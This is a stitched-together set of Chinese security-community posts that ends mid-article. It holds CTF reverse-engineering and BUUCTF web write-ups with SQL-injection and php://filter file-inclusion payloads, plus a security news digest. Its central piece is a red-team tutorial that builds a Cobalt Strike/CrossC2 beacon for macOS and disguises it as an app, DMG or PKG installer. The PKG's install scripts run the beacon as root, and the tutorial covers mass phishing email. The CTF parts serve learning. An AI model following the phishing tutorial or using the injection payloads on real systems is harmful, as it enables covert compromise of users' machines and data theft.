void __cdecl sub_402CA0(_BYTE *a1, int a2, unsigned int a3)
{
char v3; // ST1B_1
int v4; // [esp+8h] [ebp-114h]
signed int i; // [esp+10h] [ebp-10Ch]
signed int j; // [esp+10h] [ebp-10Ch]
char v7; // [esp+18h] [ebp-104h]
char v8; // [esp+19h] [ebp-103h]
v4 = 0;
v7 = 0;
memset(&v8, 0, 0xFFu);
for ( i = 0; i < 256; ++i )
{
a1[i] = i;
*(&v7 + i) = *(_BYTE *)(a2 + i % a3);
}
for ( j = 0; j < 256; ++j )
{
v4 = (*(&v7 + j) + v4 + (unsigned __int8)a1[j]) % 256;
v3 = a1[j];
a1[j] = a1[v4];
a1[v4] = v3;
}
}
进行比较判断
加密函数:该函数也是被花指令的,使用相同方法处理即可
int __stdcall sub_402E80(int a1, int a2, unsigned int a3)
{
int result; // eax
char v4; // ST1B_1
int v5; // [esp+Ch] [ebp-18h]
unsigned int i; // [esp+10h] [ebp-14h]
int v7; // [esp+14h] [ebp-10h]
v7 = 0;
v5 = 0;
for ( i = 0; i < a3; ++i )
{
v7 = (v7 + 1) % 256;
v5 = (v5 + *(unsigned __int8 *)(v7 + a1)) % 256;
v4 = *(_BYTE *)(v7 + a1);
*(_BYTE *)(v7 + a1) = *(_BYTE *)(v5 + a1);
*(_BYTE *)(v5 + a1) = v4;
*(_BYTE *)(i + a2) ^= *(_BYTE *)((*(unsigned __int8 *)(v5 + a1) + *(unsigned __int8 *)(v7 + a1)) % 256 + a1);
result = i + 1;
}
return result;
}
而check函数的这段正是用于比较的数组
最种解密如下:
import base64
key = "qwertyuiop"
res = [0xfa,0x45,0xd0,0x9e,0,0xc,0x9f,0x82,0x57,0x89,0xe5,0xf7,0xb0,0x64,0x76 ,0xdd,0xaf,0xff,0x7d,0x91,0x16,0xcb,0x3e,0x6e,0x7e,0x19,0xdd,0xc8,0x26,0xd0,0xd6,0x5b]
res = res[::-1]
tmp = ""
for i in res:
tmp += chr(i)
tmp = base64.b64encode(tmp)
print tmp
ff = "f250e3d75820847d427f3af11a783379"
flag = ['*']*32
for i in range(16):
flag[i] = ff[31-i]
flag[31-i] = ff[i]
print "flag{%s"%("".join(flag))+'}'
W9bQJsjdGX5uPssWkX3/r912ZLD35YlXgp8MAJ7QRfo=
flag{973387a11fa3f724d74802857d3e052f}
### 2.Testre
题目文件链接:
[https://xproadl.91ctf.com/userdownload?filename=1904055ca752e746df2.zip&type](https://xproadl.91ctf.com/userdownload?filename=1904055ca752e746df2.zip&type)
=attach&feature=custom
ida打开文件,main函数如下
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
void *ptr; // ST10_8
__int64 v5; // [rsp+18h] [rbp-28h]
char v6; // [rsp+20h] [rbp-20h]
int v7; // [rsp+3Ch] [rbp-4h]
v7 = 0;
v5 = 256LL;
sub_400D00((__int64)&v6, 0x11uLL);
ptr = malloc(0x100uLL);
sub_400700(ptr, &v5, (__int64)&v6, 0x10uLL);
free(ptr);
return 0LL;
}
跟进sub_400D00,发现是个接受输入的函数
跟进sub_400700:
for ( i = 0LL; i < v28; ++i )
{
v13 = *(unsigned __int8 *)(v25 + i);
*((_BYTE *)v26 + i) = byte_400E90[i % 0x1D] ^ v13;
*((_BYTE *)v26 + i) += *(_BYTE *)(v25 + i);
}
while ( 1 )
{
v12 = 0;
if ( v17 < v28 )
v12 = ~(*(_BYTE *)(v25 + v17) != 0);
if ( !(v12 & 1) )
break;
++v17;
}
这部分将一个字符串和输入进行了异或加密,但后面会发现,并没有用到
while ( v20 < v28 ) // 这里是base58编码的处理过程
{
v21 = *(unsigned __int8 *)(v25 + v20);
for ( j = n - 1; ; --j )
{
v10 = 1;
if ( j <= v18 )
v10 = v21 != 0;
if ( !v10 )
break;
v22 = v11[j] << 6;
v21 += v11[j] << 8;
v9 = 64;
v11[j] = v21 % 58;
*((_BYTE *)v26 + j) = v22 & 0x3F;
v22 >>= 6;
v21 /= 58;
v27 /= v9;
if ( !j )
break;
}
++v20;
v18 = j;
}
这个循环才是主菜,我们暂时不去详细分析算法过程,比较复杂,但是可以看到常量58,被模了一下和被除了一下.继续看下面
if ( *v30 > n + v17 - j )
{
if ( v17 ) // 不会执行到这里面,又是干扰分析
{
c = 61;
memset(encode_input, '1', v17);
memset(v26, c, v17);
}
v20 = v17;
while ( j < n )
{
v4 = v11;
*((_BYTE *)encode_input + v20) = byte_400EB0[v11[j]];// base58编码表代换
*((_BYTE *)v26 + v20++) = byte_400EF0[v4[j++]];// 这个base64编码表并没有参与编码计算,干扰项
}
*((_BYTE *)encode_input + v20) = 0;
*v30 = v20 + 1;
if ( !strncmp((const char *)encode_input, "D9", 2uLL)// 结果比较
&& !strncmp((const char *)encode_input + 20, "Mp", 2uLL)
&& !strncmp((const char *)encode_input + 18, "MR", 2uLL)
&& !strncmp((const char *)encode_input + 2, "cS9N", 4uLL)
&& !strncmp((const char *)encode_input + 6, "9iHjM", 5uLL)
&& !strncmp((const char *)encode_input + 11, "LTdA8YS", 7uLL) )
{
HIDWORD(v6) = puts("correct!");
}
v32 = 1;
v14 = 1;
}
到这里发现有2个数组,分别是
.rodata:0000000000400EB0 byte_400EB0 db '1' ; DATA XREF: sub_400700+446↑r
.rodata:0000000000400EB1 a23456789abcdef db '23456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',0
.rodata:0000000000400EEB align 10h
.rodata:0000000000400EF0 ; char byte_400EF0[]
.rodata:0000000000400EF0 byte_400EF0 db 'A' ; DATA XREF: sub_400700+464↑r
.rodata:0000000000400EF1 aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
显然一个是base64编码表,一个是base58编码表,最开始把base58编码表看成了是数字加所有字母,浪费大量时间分析.
仔细观察代码,其实进行base64编码的过程是针对v26,但是v26变量指向的内存完全没有和最后的比较产生关系,所以这都是干扰做题的
最后观察比较语句,提取出最终串:D9cS9N9iHjMLTdA8YSMRMp
对其进行base58解码就是flag:
import base58 as bs
bs.b58decode('D9cS9N9iHjMLTdA8YSMRMp')
#output: base58_is_boring
base58通过pip install base58即可安装
### 3.easyCpp
题目链接：
[https://xproadl.91ctf.com/userdownload?filename=1904055ca752e6ae1c5.zip&type](https://xproadl.91ctf.com/userdownload?filename=1904055ca752e6ae1c5.zip&type)
=attach&feature=custom
这个要求对 c++的 stl 比较熟悉
直接来到main:
for ( i = 0; i <= 15; ++i )
{
scanf("%d", &v25[4 * i], v15);
std::vector<int,std::allocator<int>>::push_back(&our_input, &v25[4 * i]);
}
for ( j = 0; j <= 15; ++j ) // 生成斐波那契数列
{
LODWORD(input_begin) = fib(j);
std::vector<int,std::allocator<int>>::push_back(&fib_list, &input_begin);
}
接受输入和生成斐波那契数列
std::vector<int,std::allocator<int>>::push_back(&v20, v25);
v7 = std::back_inserter<std::vector<int,std::allocator<int>>>(&v20);
input_end = std::vector<int,std::allocator<int>>::end(&our_input);
input_begin = std::vector<int,std::allocator<int>>::begin(&our_input);
v9 = __gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>::operator+(&input_begin, 1LL);// 对input每个元素加1
std::transform<__gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>,std::back_insert_iterator<std::vector<int,std::allocator<int>>>,main::{lambda(int)#1}>(
v9,
input_end,
v7,
v25);
std::vector<int,std::allocator<int>>::vector(&v23, input_end, v10);
std::vector<int,std::allocator<int>>::end(&v20);
std::vector<int,std::allocator<int>>::begin(&v20);
std::accumulate<__gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>,std::vector<int,std::allocator<int>>,main::{lambda(std::vector<int,std::allocator<int>>,int)#2}>((unsigned __int64)&input_begin);
std::vector<int,std::allocator<int>>::operator=(&v21, &input_begin);
std::vector<int,std::allocator<int>>::~vector(&input_begin);
std::vector<int,std::allocator<int>>::~vector(&v23);
if ( (unsigned __int8)std::operator!=<int,std::allocator<int>>(&v21, &fib_list) )// 必须相同
{
puts("You failed!");
exit(0);
}
transform是把v9的每个元素通过匿名函数进行转换,结果存入v20
进入transform:
v4 = (int *)__gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>::operator*(&input_begin_1);
v11 = main::{lambda(int)#1}::operator() const((_DWORD **)&v29, *v4);// 把输入的vector和v29相加
v5 = std::back_insert_iterator<std::vector<int,std::allocator<int>>>::operator*(&v24_backinsert);
std::back_insert_iterator<std::vector<int,std::allocator<int>>>::operator=(v5, &v11);
__gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>::operator++(&input_begin_1);
std::back_insert_iterator<std::vector<int,std::allocator<int>>>::operator++(&v24_backinsert);
再进入main::{lambda(int)#1}::operator() const((_DWORD _*) &v29, _v4);:
__int64 __fastcall main::{lambda(int)#1}::operator() const(_DWORD **a1, int a2)
{
return (unsigned int)(**a1 + a2);
}
这下就知道这个就是把输入和输入的第一个元素相加
接着看std::accumulate,这个程序的std::accumulate和c++的不一样不知道是不是ida识别错误,打开看这个函数,内部还是有个匿名函数,静态分析比较复杂,我们通过动态调试来分析
根据 std::vector<int,std::allocator<int>>::operator=(&v25, &input_begin);
std::vector<int,std::allocator<int>>::~vector(&input_begin);
std::vector<int,std::allocator<int>>::~vector(&v27);
if ( (unsigned __int8)std::operator!=<int,std::allocator<int>>(&v25,
&fib_list) )// 必须相同
我们需要分析v25的内容,通过下断std::vector<int,std::allocator<int>>::~vector(&input_begin);再查看v25:
gef➤ x/10gx $rsp+0x90
0x7fffc6f61660: 0x0000000002007f10 0x0000000002007f50
0x7fffc6f61670: 0x0000000002007f50 0x0000000000000000
0x7fffc6f61680: 0x0000000000000000 0x0000000000000000
0x7fffc6f61690: 0x0000000000000000 0x0000000000000000
0x7fffc6f616a0: 0x0000000000000000 0x0000000000000000
地址为0x0000000002007f10, 再查看堆:
…….]
Chunk(addr=0x2007e30, size=0x50, flags=PREV_INUSE)
[0x0000000002007e30 00 00 00 00 00 00 00 00 24 00 00 00 23 00 00 00 ……..$…#…]
Chunk(addr=0x2007e80, size=0x50, flags=PREV_INUSE)
[0x0000000002007e80 20 7e 00 02 00 00 00 00 24 00 00 00 23 00 00 00 ~……$…#…]
Chunk(addr=0x2007ed0, size=0x40, flags=PREV_INUSE)
[0x0000000002007ed0 00 00 00 00 00 00 00 00 23 00 00 00 22 00 00 00 ……..#…”…]
Chunk(addr=0x2007f10, size=0x50, flags=PREV_INUSE)
[ **0x0000000002007f10** 27 00 00 00 26 00 00 00 25 00 00 00 24 00 00 00
gef➤ x/16wx 0x0000000002007f10
0x2007f10: 0x00000027 0x00000026 0x00000025 0x00000024
0x2007f20: 0x00000023 0x00000022 0x00000021 0x00000020
0x2007f30: 0x0000001f 0x0000001e 0x0000001d 0x0000001c
0x2007f40: 0x0000001b 0x0000001a 0x00000019 0x0000000c
发现这个是把输入进行了反向. 总结一下加密流程
1.接受16个数字输入
2.计算斐波那契数列前16项
3.把16个数字输入从第二个元素开始,都加上第一个元素
4.将3的结果反向
5.将4的结果和2的结果比较,完全相同则输入的是flag
解密脚本:
a = [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987]
c = a[::-1]
d = [987]
for i in range(1,len(c)):
d.append(c[i]-987)
import pprint
pprint.pprint(d)
输出:
[987,
-377,
-610,
-754,
-843,
-898,
-932,
-953,
-966,
-974,
-979,
-982,
-984,
-985,
-986,
-986]
getflag:
from pwn import *
p = process('./easyCpp')
input_ = [987,
-377,
-610,
-754,
-843,
-898,
-932,
-953,
-966,
-974,
-979,
-982,
-984,
-985,
-986,
-986]
for i in input_:
p.sendline(str(i))
p.interactive() | 社区文章 |
## 0x01 前言
目前在一些攻防项目中，由于外网越来越不好打，钓鱼这种攻击手段，一旦成功就显的省时省力。最近攻防遇到了一家互联网大厂，所有员工使用的都是mac主机，这也是第一次钓mac。研究过程中发现网上这方面分享比较少，这里记录分享一下，如有错误欢迎各位师傅评论指正。
## 0x02 CrossC2部署
### 环境
cs版本4.1
cs服务端：linux vps
cs客户端中：mac
这里注意，经过测试cs服务端部署必须是linux，win不行，会出现执行不上线的情况。
### 插件安装
<https://github.com/gloxec/CrossC2/releases/tag/v3.0.2>
选择对应版本安装：
放在自己终端的任意目录下，注意路径名不能包含中文或特殊字符：
配置cna文件：
这里我自己的CC2path和bin的配置是这样，一定要确保这个路径和文件名是对应的，并且文件有可执行的权限。
这里注意还有一个地方需要注意，就是把自己服务端cs目录下的.cobaltstrike.beacon_keys文件放到和genCrossC2.MacOS同级目录下，不然会遇到key错误的提示。
### 生成上线马
加载cna插件
加载成功会看到插件
创建一个https的监听器，端口任意。这里需要注意，CC2上线实际也是通过创建的监听器上线，并且由于一些限制，只能是https的监听器（在github也有提到）。
使用插件生成一个马。端口可任意设置，第二个填文件的绝对路径，选择系统为macos木马，监听器选择刚才创建的https监听器，最后是生成可执行文件的目录和文件名。
这里很多师傅创建不成功，并且cs日志中也没有错误提示，这种情况可以把命令复制在终端执行，排查问题直到：
此时可以通过执行tmp目录下生成的可执行文件上线，或者利用插件生成命令执行上线
注意生成命令这里端口要和刚才设置的对应，才能请求到
## 0x03 封装app
此时实现了上线马的制作，可以命令或者执行可执行文件上线。但是对于钓鱼来说，可信度是远远不够的，为了制作一个完整的mac应用程序，我们先将上线命令封装成app
### 制作app
打开mac自带应用程序
选择新建文稿，点击应用程序
然后选择左侧选择运行shell脚本，然后把上线命令复制进去
然后command+s保存到应用程序中，app就制作结束了
这里可以换一个图标制作更逼真，点开应用程序，找到对应app右键显示简介，将icns图拖到图标处
## 0x04 dmg马
只有一个app是不够的，正常的mac安装程序是dmg或者pkg，首先制作dmg。
### 准备
一个.app，一张背景图（可选）以及安装路径的快捷方式
### 制作
应用程序处制作一个替身
磁盘工具，新建一个空白映像
之后桌面会生成demo.dmg和宗卷，打开宗卷编辑，把制作的app，应用程序文件夹，背景图拖到宗卷中，背景图可以右键显示选项拖动布置，之后删除即可。
编辑好后，就可以推出这个卷宗，进行最后一步转换，转换成一个不可修改的卷宗
选择磁盘工具，选择 映像-->转换，然后选择temp.dmg,打开后，重新命名就好了
这个转换之后的dmg就可以用作钓鱼的木马，受害者双击app或者安装点击之后，就会执行上线命令上线。
## 0x05 pkg马
如果用dmg去钓鱼，最后上线只是当前登录用户去点击，也就是普通用户权限，加上mac提权基本知识盲区，不容易做权限维持，这里可以制作pkg，设置管理员权限安装，就能上线root权限。
### 工具
pakeages 下载：<http://s.sudre.free.fr/Software/Packages/about.html>
Packages是一款开源的安装包制作工具，主要有两种模式：
Distribution(分布模式)：这种模式下，安装包中可以包含多个组件，可以分别安装到指定的位置；
Raw Package(原始模式)：
只适用于只有一个安装组件(安装内容)的情况,一个组件(package)就是一个具备特定安装属性的部分，是对需要安装的程序的一个逻辑划分。比如一个安装包中包含两部分，一部分需要安装到系统目录，一部分安装到用户目录。从逻辑上就可以划分为两个组件(package)，分别为它们指定不同的安装属性。
### 制作
选择第一种模式
创建之后进入设置界面，首先是全局设置，默认是settings
然后第二个可以设置一些描述话语，或者背景图
设置全局之后设置包，第一个框是安装完之后要执行的，下面是安装的条件，第一个一定要选，安装时需要密码。这样才能确保root上线
把我们要安装的app拖到路径下，也可以自己创建目录
某些应用在安装时可能需要做一些额外的操作，可以执行脚本，分为安装前和安装后执行，这里把安装前的preinstall.sh和安装后的postinstall.sh全部变成上线命令
编辑完成之后，就可以直接build生成，可以看到执行时需要输入密码到高权限
安装结束之后，会执行两次脚本，也就会上线两次root，非常的nice
当然如果为了不被发现，也可以在制作pkg时放一个正常的app进去，只是安装时执行上线命令。
## 0x06 邮件发送
钓鱼邮件发送，如果为了方便可以参考横戈团队的工具：
<https://github.com/SkewwG/henggeFish>
但是工具中是写死163，只能用163账号发，可以自己改脚本，或者利用swaks批量发。
如果用swaks批量脚本发送，有可能会遇到spf校验，ip封禁，进垃圾箱等问题，不同的邮服策略也不同，有机会再写一篇钓鱼邮件批量发送。
## 0x07 参考
<http://www.str1am.top/wordpress/?p=533>
<https://www.sqlsec.com/2020/07/cobaltstrike.html>
<https://www.jianshu.com/p/58be258a4465>
<https://blog.csdn.net/HeroGuo_JP/article/details/78049964> | 社区文章 |
# 2月6日安全热点 - 趋势科技发布报告回顾2017年网络攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
趋势科技发布报告：回顾2017年最严重的网络攻击以及总结的经验
<https://blog.trendmicro.com/a-look-back-reviewing-the-worst-cyber-attacks-of-2017-and-the-lessons-learned/>
语法纠错Chrome扩展程序泄露用户隐私
<https://threatpost.com/grammarly-patches-chrome-extension-bug-that-exposed-users-docs/129794/>
<http://www.zdnet.com/article/grammarly-flawed-chrome-extension-exposed-private-documents/>
假的Adobe Flash更新站点欺骗用户下载CPU矿工
<https://www.bleepingcomputer.com/news/security/fake-adobe-flash-update-sites-pushing-cpu-miners/>
2017年度中国信息安全从业人员现状调研报告
<http://www.itsec.gov.cn/zxxw/201802/t20180205_23641.html>
在WordPress
CMS平台中发现了一个简单而严重的应用程序级拒绝服务（DoS）漏洞，它可以让任何人甚至只用一台机器就可以关闭大多数WordPress网站。
<https://thehackernews.com/2018/02/wordpress-dos-exploit.html>
## 技术类
机器学习检测WebShell
<https://mp.weixin.qq.com/s/XWIIniSgq75lMK6Vi_BKaA>
Jackson dbcp gadget以及CVE-2018-5968
<http://blog.csdn.net/u011721501/article/details/79257709>
分析OSX / CreativeUpdater
<https://objective-see.com/blog/blog_0x29.html>
如何减轻加密货币带给企业安全的威胁
<https://thehackernews.com/2018/02/cryptocurrency-mining-threat.html>
基于机器学习的 Webshell 发现技术探索
<https://mp.weixin.qq.com/s/5wJbvuG0IUOX4jdFtYNnkg>
微信海量数据监控的设计与实践
<https://mp.weixin.qq.com/s/EAPHplKe9meI0-EHeF_BcQ>
引用外部脚本的隐患及防御
<https://paper.seebug.org/527/>
LSB-Steganography – 使用最低有效位将文件隐写到图像中
[https://www.kitploit.com/2018/02/lsb-steganography-python-program-to.html](https://www.kitploit.com/2018/02/lsb-steganography-python-program-to.html?utm_source=securitydailynews.com)
Modern CSS Explained For Dinosaurs
<https://medium.com/actualize-network/modern-css-explained-for-dinosaurs-5226febe3525>
MACHINE LEARNING FOR EFFECTIVE FUZZING – CLOUDFUZZ
[https://payatu.com/machine-learning-effective-fuzzing](https://payatu.com/machine-learning-effective-fuzzing/?utm_source=securitydailynews.com)
分析一个HTA文件
[https://isc.sans.edu/diary/rss/23307](https://isc.sans.edu/diary/rss/23307?utm_source=securitydailynews.com)
利用CSS注入(无iFrames)窃取CSRF令牌
<https://github.com/dxa4481/cssInjection>
具有高级分析功能的hunting ELK
<https://github.com/Cyb3rWard0g/HELK>
Hacking With Go
<https://secdevops.ai/hacking-with-go-packet-crafting-and-manipulation-in-golang-pt-2-632e99917865>
X.509在TLS和SSL实现中的新方法
<https://www.fidelissecurity.com/threatgeek/2018/02/exposing-x509-vulnerabilities> | 社区文章 |
# buuctf Web
## **1.[HCTF 2018]WarmUp[HCTF 2018]WarmUp**
访问url
<http://e00c89a6-d7d6-4a78-a346-614edfb95738.node3.buuoj.cn/>
如下
打开靶场后，查看源码即可看到
构造url访问获得index.php的源码
<http://e00c89a6-d7d6-4a78-a346-614edfb95738.node3.buuoj.cn/index.php?file=source.php>
如下
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
//传入了变量page，也就是我们刚刚传进来的file
{
// 这里定义了白名单
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
/*为了返回 true 两个条件必须满足
1 page存在
2 page是字符串 ，
这里和外层的判断file 一致基本是再次判断了一遍*/
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
/*in_array(search,array,type) 函数搜索数组中是否存在指定的值，
白名单过滤，需要返回了ture
所以这里我们传入的page或者是经过截断之后的page必须是soure.php或hint.php，
这里是正常的访问，我们需要构造文件任意包含，所以这里传入的不满足条件，这里不是注意的点，往下继续看*/
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
/*这里mb_sustr 是个截断，返回0到mb_strpos之间的内容，而mb_strps 则是查找第一次出现的位置，所以基本可以理解为获取page 两个？之间的字符串，也就是获取file两个？之间的字符串，放到url中就是http://ip/?file=ddd?中的file=ddd*/
if (in_array($_page, $whitelist)) {
return true;
}
//这里和上面类似 查看_page 是否在白名单中
$_page = urldecode($page); // 这里发现对_page进行了一次decode解码，
$_page = mb_substr(//获取两个？？之间的内容
$_page,
0,
mb_strpos($_page . '?', '?')
);
// 这里是我们要绕过的点，从这里往上看 尝试构造
if (in_array($_page, $whitelist)) {//白名单
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
/*必须满足if条件，才能包含file，这里也可以猜到可能考的是文件包含：
1 REQUEST['file']不为空
2 REQUEST['file']是字符串
3 checkFile($_REQUEST['file']) 为ture，回到checkFile 函数分析如何返回true*/
?>
可以看到函数代码中有四个if语句
第一个if语句对变量进行检验，要求$page为字符串，否则返回false
第二个if语句判断$page是否存在于$whitelist数组中，存在则返回true
第三个if语句判断截取后的$page是否存在于$whitelist数组中，截取$page中'?'前部分，存在则返回true
第四个if语句判断url解码并截取后的$page是否存在于$whitelist中，存在则返回true
若以上四个if语句均未返回值，则返回false
有三个if语句可以返回true，第二个语句直接判断$page，不可用
第三个语句截取'?'前部分，由于?被后部分被解析为get方式提交的参数，也不可利用
第四个if语句中，先进行url解码再截取，因此我们可以将?经过两次url编码，在服务器端提取参数时解码一次，checkFile函数中解码一次，仍会解码为'?'，仍可通过第四个if语句校验。（'?'两次编码值为'%253f'）,构造url：
file=source.php?file=source.php%253f../../../../../ffffllllaaaagggg
从代码中发现新的页面hint访问
<http://e00c89a6-d7d6-4a78-a346-614edfb95738.node3.buuoj.cn/index.php?file=hint.php>
获得flag文件名
构造payload，ffffllllaaaagggg提示每个字符都重复了4下，提示我们往上级目录翻四层
<http://e00c89a6-d7d6-4a78-a346-614edfb95738.node3.buuoj.cn/index.php?file=hint.php?../../../../../ffffllllaaaagggg>
<http://e00c89a6-d7d6-4a78-a346-614edfb95738.node3.buuoj.cn/index.php?file=source.php?/../../../../ffffllllaaaagggg>
得到flag{9cae45aa-4163-4c5a-b223-75baa14f4cc4}
## **2.[极客大挑战 2019]EasySQL**
访问url
<http://126a7b32-9f28-4b4c-ac00-73741dcc8ade.node3.buuoj.cn/>
如下
第一种方法，看到登录框想到SQL注入，构造payload
?username=1'&password=2'
密码框存在注入
构造payload
?username=1&password=2'%23
正常回显
构造payload
?username=1&password=2' order by 3%23
判断字段数为3
构造payload
?username=1&password=2' and 1=2 union select 1,2,3%23
判断回显点，得到flag{82270ed5-107f-454b-b1ea-a452245b07a6}
第二种方法，因为登录成功就可以拿到flag，由上一道解法知道是字符型注入
构造payload
?username=admin' or '1'='1&password=admin' or '1'='1
得到flag{82270ed5-107f-454b-b1ea-a452245b07a6}
## **3.[强网杯 2019]随便注**
访问url
<http://9de6c06a-5267-431c-b404-99bf365ea17d.node3.buuoj.cn/>
页面如下
重命名+堆叠注入
0x01:判断是否存在注入，注入是字符型还是数字型
输入1'发现不回显
输入1' #显示正常
应该是存在sql注入了
输入1' or '1'='1,正常回显，应该是字符型
0x02:猜解SQL查询语句中的字段数
输入1' order by 3 # 回显出错，说明有两个字段
0x03:显示字段
输入1′ union select 1,2 # 回显一个正则过滤规则
过滤了 select，update，delete，drop，insert，where 和 点
过滤了这么多词，是不是有堆叠注入？尝试堆叠注入
0x04：查询数据库
输入1';show databases;# 成功回显
说明存在堆叠注入
0x05：查询表
输入1';show tables;# 成功回显
得到两个表words和1919810931114514
0x06：查询表中字段
输入0';desc words;#
可以看到1919810931114514中有我们想要的flag字段
查询语句很有可能是 : selsect id,data from words where id =
因为可以堆叠查询，这时候就想到了一个改名的方法，把words随便改成words1，然后把1919810931114514改成words，再把列名flag改成id
0';rename table words to words1;rename table `1919810931114514` to words;alter
table words change flag id varchar(100) 1' or 1=1#CHARACTER SET utf8 COLLATE
utf8_general_ci NOT NULL;desc words;#
如下
输入1' or 1=1#,查询就得到flag{0a7b0405-0946-4894-837c-0ea64a5a1a1e}
## **4.[极客大挑战 2019]Havefun**
访问url
<http://2b9bca63-f8a6-49a3-8e46-291d9581747c.node3.buuoj.cn/>
首页如下
右键查看网页源代码
这是一段PHP代码，我们以GET方式传入cat，直接输出cat的值，如果cat的值为dog则将直接输出Syc{cat_cat_cat_cat}，构造payload
<http://2b9bca63-f8a6-49a3-8e46-291d9581747c.node3.buuoj.cn/?cat=dog>
得到flag{8d0db0b2-663a-4d65-bb2a-ea16376802da}
## **5.[SUCTF 2019]EasySQL**
访问url
<http://79340959-f795-4406-bd12-ec50c42ff14c.node3.buuoj.cn/>
首页如下
堆叠注入
1;show databases;
1;show tables;
查列名发现from进入了黑名单，经查，背后逻辑是
select $_POST[query] || flag from flag
如何判断结构是这样？因为在输入任意字符后输出结果都为Array ( [0] => 1 )，那这个1肯定是或运算产生的布尔值，所有此处一定有或运算。
解法1
1;set sql_mode=PIPES_AS_CONCAT;select 1，构造成select 1;set
sql_mode=PIPES_AS_CONCAT;select 1 || flag FROM
Flag，其中PIPES_AS_CONCAT能将||视为字符串连接符而非或运算符，实际运行为select 1;set
sql_mode=PIPES_AS_CONCAT;select "1"+flag from Flag
得到flag{d1158419-a015-4de7-9908-ff25678cca3a}
解法2
_,1，构造成select_ ,1 || flag from flag
## **6.[ACTF2020 新生赛]Include**
访问url
<http://42675000-beb8-4770-9107-0954c486629c.node3.buuoj.cn/>
首页如下：
点击tips，跳转到url：
<http://42675000-beb8-4770-9107-0954c486629c.node3.buuoj.cn/?file=flag.php>
页面如下：
根据?file=flag.php 猜测是文件包含漏洞
php://filter与包含函数结合时，php://filter流会被当作php文件执行。所以我们一般对其进行编码，阻止其不执行。从而导致任意文件读取。
php://filter
伪协议文件包含读取源代码，加上read=convert.base64-encode，用base64编码输出，不然会直接当做php代码执行，看不到源代码内容。
php://input 伪协议 + POST发送PHP代码 （不行）
构造payload进行访问：
?file=php://filter/read=convert.base64-encode/resource=flag.php
页面回显如下：
对回显的数据进行base64解码：
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YmRkZmZlYTMtNTVlYS00OTJjLTg4NWYtMWZlY2Y2ODRkZTIyfQo=
结果如下：
<?php
echo "Can you find out the flag?";
//flag{bddffea3-55ea-492c-885f-1fecf684de22}
## **7.[极客大挑战 2019]Secret File**
访问url：
<http://008d0aab-224a-4ab8-b711-57782be3f259.node3.buuoj.cn/>
首页如下：
前端中背景可以覆盖内容，页面源代码可以查看完整的html
在php文件中可以写入html代码，html可在前端展示出来，php代码主要是处理数据，通常不会展示。
文件包含漏洞，PHP伪协议获取文件
php://filter 是一种元封装器， 设计用于数据流打开时的筛选过滤应用。 这对于一体式（all-in-one）的文件函数非常有用，类似
readfile()、 file() 和 file_get_contents()， 在数据流内容读取之前没有机会应用其他过滤器。
环境概要：
PHP.ini：
allow_url_fopen ：on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。
allow_url_include：off 默认关闭，该选项为on便是允许 包含URL 对象文件等。
我们可以看到一页背景为黑色，字体为红色的页面，这里已经给出了一个提示：想要的话可以给你，去找吧！把一切都放在那里了！我们可以猜测这个页面是隐藏了一些信息的。
通过查看页面源代码，我们可以发现隐藏的./Archive_room.php
访问Archive_room.php，发现又给出了提示：我把他们都放在这里了，去看看吧。还有一个类似button一样的东西，查看审查元素可知是action.php
我们点进去，访问action.php立即跳转到了end.php，并且页面显示的是：查阅结束 没看清么？回去再仔细看看吧。
可以猜测action.php访问时间很短，时间一到立即跳转到end.php。为了拦截action.php，我们可以使用BrupSuite来抓包。
请求包如下：
GET /action.php HTTP/1.1
Host: 008d0aab-224a-4ab8-b711-57782be3f259.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://008d0aab-224a-4ab8-b711-57782be3f259.node3.buuoj.cn/Archive_room.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=37b794a6-22e3-4bc9-882a-7c4e8fce86a2.ZP-4gQWh8p_KrNccRxl0BEY0YgY
Connection: close
响应包如下：
访问secr3t.php，页面显示了php代码：
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
发现这里有一个文件包含漏洞，但是在这里好像没什么用，因为我们还不确定存在flag的文件。根据代码的注释内容，访问flag.php。又出现提示：啊哈！你找到我了！可是你看不到我QAQ~~~
我就在这里。
刚开始我们以为还是像之前一样用背景把flag给覆盖掉了，但是通过查看页面源代码发现并没有将flag写出来。根据提示我们可以肯定flag确实是在这里，但是前端却看不到，我们猜测flag是写在了php代码里面。那么怎样来获取完整的flag.php文件呢？我们立马想到了secr3t.php的文件包含漏洞
